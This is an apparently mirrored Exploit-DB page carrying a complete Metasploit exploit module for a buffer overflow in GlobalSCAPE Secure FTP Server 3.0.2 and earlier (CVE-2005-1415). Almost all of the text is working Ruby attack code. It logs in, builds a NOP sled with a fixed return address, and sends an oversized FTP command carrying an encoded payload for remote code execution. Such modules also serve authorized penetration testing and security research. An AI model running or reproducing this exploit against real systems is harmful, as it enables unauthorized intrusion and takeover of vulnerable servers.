GlobalScape Secure FTP Server – Input Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-10-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16703/

• ##
  # $Id: globalscapeftp_input.rb 10559 2010-10-05 23:41:17Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
  				All versions prior to 3.0.3 are affected by this flaw. A valid user account (
  				or anonymous access) is required for this exploit to work.
  			},
  			'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 10559 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-1415'],
  					[ 'OSVDB', '16049'],
  					[ 'BID', '13454'],
  					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
  					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  				},
  			'Platform' => [ 'win' ],
  			'Targets'=>
  				[
  					[
  						'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
  						{
  							'Ret'=> 0x1002f01f,
  						},
  					],
  				],
  			'DisclosureDate' => 'May 1 2005',
  			'DefaultTarget' => 0))
  	end
  
  	def exploit
  		connect_login
  
  		buf = make_nops(3047)
  		buf[2043, 4]= [ target.ret ].pack('V')
  		buf[2047, payload.encoded.length] = payload.encoded
  
  		send_cmd( [buf] )
  
  		handler
  		disconnect
  	end
  
  end